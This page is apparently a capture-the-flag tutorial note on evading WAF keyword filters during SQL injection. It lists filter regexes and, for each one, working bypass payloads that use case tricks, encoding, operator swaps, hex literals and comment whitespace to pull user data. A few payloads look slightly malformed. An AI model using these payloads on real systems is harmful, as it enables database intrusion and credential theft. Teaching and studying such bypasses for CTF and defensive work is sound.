ctfnote.com
Search
⌃K

WAF Bypass

Uppercase and Lowercase

Suppose the WAF filters union using str_replace():
$sql = str_replace("union", "" , $sql);
This filter only filters lowercase union, so we can use things like UNION or UNion.
  • Keywords in MySQL are case-insensitive.
  • Database names, table names are case-sensitive.
  • Column names are case-insensitive. This is really weird.

Repeated String

Suppose the developer uses $sql = str_replace("union", "" , $sql); and uppercase/lowercase is properly handled. We can still bypass this filter using unionunion. Note that str_replace() only removes union once, so unionunion becomes union.

Doulbe URL Encoding

If the WAF only calls urldecode() once, we can URL encode our payload twice to bypass the filter.

and/or

Suppose the WAF filters and and or:
preg_match('/(and|or)/i', $id)
The following payloads will be filtered:
1 or 1=1
1 and 1=1
We can bypass this filter using the following payload:
1 || 1=1
1 && 1=1

union

Suppose the WAF filters and, or, and union:
preg_match('/(and|or|union)/i', $id)
The following payloads will be filtered:
union select user,password from users
We can bypass this filter using the following payload:
|| (select user from users where user_id = 1) = 'admin'
The || symbol expands the scope of select, which has similar effect as union select.

where

Suppose the WAF filters and, or, union, and where:
preg_match('/(and|or|union|where)/i', $id)
The following payloads will be filtered:
|| (select user from users where user_id = 1) = 'admin'
We can bypass this filter using the following payload:
|| (select user from users limit 1,1) = 'admin'
Here limit 1,1 has the same functionality as where. limit 1,1 means start from index 1 and only select 1 entry.

limit

Suppose the WAF filters and, or, union, where and limit:
preg_match('/(and|or|union|where|limit)/i', $id)
The following payload will be filtered:
|| (select user from users limit 1,1) = 'admin'
We can bypass this filter using the following payload:
|| (select min(user) from group by user_id having user_id = 1) = 'admin'

group by

Suppose the WAF filters and, or, union, where, limit and group by:
preg_match('/(and|or|union|where|limit|group by)/i', $id)
The following payload will be filtered:
|| (select min(user) from group by user_id having user_id = 1) = 'admin'
We can bypass this filter using the following payload:
|| select substr((select group_concat(name)name from test), 1, 1) = 't')

select and single quote

Suppose the WAF filters and, or, union, where, limit, group by, select and single quote:
preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
The following payload will be filtered:
|| select substr((select group_concat(name)name from test), 1, 1) = 't')
We can bypass this filter using the following payload:
|| substr(name, 1, 1) = 0x74
|| substr(name, 1, 1) = unhex(74)

hex, unhex and substr

Suppose the WAF filters and, or, union, where, limit, group by, select, single quote, hex, unhex, and substr:
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr)/i', $id)
The following payload will be filtered:
|| substr(name, 1, 1) = unhex(74)
We can bypass this filter using the following payload:
|| binary(name) = 0x74657374

whitespace

Suppose the WAF filters and, or, union, where, limit, group by, select, single quote, hex, unhex, substr, and space:
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr|\s)/i', $id)
The following payload will be filtered:
|| binary(name) = 0x74657374
We can bypass this filter using the following payload:
||/**/binary(name)/**/=/**/0x74657374
Here /**/ is an empty comment, which is equivalent to a whitespace.

equal sign

Suppose the WAF filters and, or, union, where, limit, group by, select, single quote, hex, unhex, substr, space, and =:
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr|\s|=)/i', $id)
The following payload will be filtered:
||/**/binary(name)/**/=/**/0x74657374
We can bypass this filter using the following payload:
||/**/binary(name)/**/like/**/0x74657374
Here like matches more results than =, but we can use it just like = anyway.